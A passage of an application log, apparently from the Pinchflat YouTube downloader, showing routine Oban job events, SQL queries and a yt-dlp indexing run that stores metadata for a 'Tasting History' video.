02:33:48.408 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.117 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:34:18.409 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:48.411 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.118 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:35:18.412 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:48.413 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.119 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:36:18.414 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:48.415 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.120 [info] {"source":"oban","duration":323,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:37:18.416 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:48.417 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.122 [info] {"source":"oban","duration":403,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:38:18.418 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:48.419 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.122 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:39:18.420 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:48.421 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.123 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:40:18.422 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:48.423 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.124 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:41:18.424 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:48.425 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.125 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:42:18.427 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:48.428 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.126 [info] {"source":"oban","duration":329,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:43:18.430 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:48.432 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.127 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:44:18.433 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:48.434 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.128 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:45:18.435 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:48.436 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.129 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:46:18.438 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:48.439 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.130 [info] {"source":"oban","duration":305,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:47:18.441 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:48.441 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.131 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:48:18.443 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:48.444 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.132 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:49:18.446 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:31.880 [info] GET / 02:49:31.880 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 02:49:31.880 [debug] QUERY OK source="settings" db=0.2ms idle=338.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:49:31.881 [debug] QUERY OK source="media_profiles" db=0.0ms idle=191.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 02:49:31.881 [debug] QUERY OK source="sources" db=0.0ms idle=191.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 02:49:31.891 [debug] QUERY OK source="media_items" db=10.2ms idle=191.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:49:31.892 [debug] QUERY OK source="media_items" db=0.5ms idle=202.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:49:31.892 [debug] QUERY OK source="settings" db=0.1ms idle=11.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:49:31.892 [debug] QUERY OK source="settings" db=0.1ms idle=11.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:49:31.893 [debug] QUERY OK source="settings" db=0.1ms idle=11.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:49:31.893 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 02:49:31.894 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:49:31.895 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:49:31.895 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 02:49:31.897 [debug] QUERY OK source="media_items" db=0.8ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 02:49:31.898 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:49:31.899 [debug] QUERY OK source="sources" db=0.1ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 02:49:31.900 [info] Sent 200 in 20ms 02:49:48.447 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.133 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:50:18.448 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:48.449 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.135 [info] {"source":"oban","duration":362,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:51:18.450 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:23.687 [info] {"args":{"id":3},"id":1700,"meta":{},"system_time":1774853483686923174,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 02:51:23.687 [debug] QUERY OK source="sources" db=0.1ms idle=1997.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.687 [debug] QUERY OK source="settings" db=0.3ms idle=1997.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.689 [debug] QUERY OK source="media_items" db=1.6ms idle=1009.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:51:23.690 [debug] QUERY OK source="media_items" db=0.1ms idle=10.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 02:51:23.690 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:23.690 [debug] QUERY OK source="settings" db=0.0ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.690 [debug] QUERY OK source="settings" db=0.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.692 [debug] QUERY OK source="media_items" db=1.1ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [3] 02:51:23.698 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 02:51:23.698 [debug] Current batch of media processed. Will check again in 1000ms 02:51:23.698 [debug] QUERY OK source="settings" db=0.1ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.698 [debug] QUERY OK source="settings" db=0.0ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.698 [debug] QUERY OK source="settings" db=0.0ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:23.698 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@TastingHistory/videos --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/b6/05/b605593a99c9d19eb965286c556c486ec1d3f32193c2973692a36356bdc3fcb6.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/34/56/34564c11d8bb051a6e7f6560db0ddb28cb87a142798e3d6821f1414a04be0cfe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:24.698 [debug] Current batch of media processed. Will check again in 1000ms 02:51:25.699 [debug] Current batch of media processed. Will check again in 1000ms 02:51:26.701 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].NA", "id" => "_iGppK9by3Y", "original_url" => "https://www.youtube.com/watch?v=_iGppK9by3Y", "playlist_index" => 1, "title" => "The Brutal Life of a Medieval Butcher", "upload_date" => "20260324"} 02:51:26.701 [debug] QUERY OK source="sources" db=0.1ms idle=1011.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:26.701 [debug] QUERY OK source="sources" db=0.1ms idle=1011.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:26.703 [debug] QUERY OK source="media_items" db=1.2ms idle=1012.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 00:00:00Z], 3] 02:51:26.704 [debug] QUERY OK source="media_items" db=1.0ms idle=1013.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "53357403-0a13-4df9-9a54-1b92a2f53410", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", false, false, 1, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].NA", false, false, 3, [], 98, ~U[2026-03-24 00:00:00Z], ~U[2026-03-30 06:51:26Z], ~U[2026-03-30 06:51:26Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", nil, false, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].NA", false, 3, ~U[2026-03-24 00:00:00Z]] 02:51:26.705 [debug] QUERY OK source="sources" db=0.3ms idle=20.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 